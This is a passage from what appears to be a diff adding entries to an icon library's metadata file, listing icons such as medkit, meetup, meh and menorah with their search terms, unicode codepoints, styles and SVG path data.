64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z" + } + }, + "free": [ + "brands" + ] + }, + "medkit": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "first aid", + "firstaid", + "health", + "help", + "support" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0fa", + "label": "medkit", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635594, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "medrt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3c8", + "label": "MRT", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861006, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 544 512\"><path d=\"M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z\"/></svg>", + "viewBox": [ + "0", + "0", + "544", + "512" + ], + "width": 544, + "height": 512, + "path": "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z" + } + }, + "free": [ + "brands" + ] + }, + "meetup": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2e0", + "label": "Meetup", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861006, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z" + } + }, + "free": [ + "brands" + ] + }, + "megaport": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5a3", + "label": "Megaport", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722334, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z" + } + }, + "free": [ + "brands" + ] + }, + "meh": { + "changes": [ + "3.1", + "5.0.0", + "5.0.9", + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "neutral", + "rating" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f11a", + "label": "Neutral Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635594, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + }, + "regular": { + "last_modified": 1628088634908, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "meh-blank": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "neutral", + "rating" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f5a4", + "label": "Face Without Mouth", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635594, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + }, + "regular": { + "last_modified": 1628088634908, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "meh-rolling-eyes": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "neutral", + "rating" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f5a5", + "label": "Face With Rolling Eyes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635594, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z" + }, + "regular": { + "last_modified": 1628088634908, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "memory": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "DIMM", + "RAM", + "hardware", + "storage", + "technology" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f538", + "label": "Memory", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635595, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z" + } + }, + "free": [ + "solid" + ] + }, + "mendeley": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f7b3", + "label": "Mendeley", + "voted": true, + "svg": { + "brands": { + "last_modified": 1548363722334, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z" + } + }, + "free": [ + "brands" + ] + }, + "menorah": { + "changes": [ + "5.3.0", + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "candle", + "hanukkah", + "jewish", + "judaism", + "light" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f676", + "label": "Menorah", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635595, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 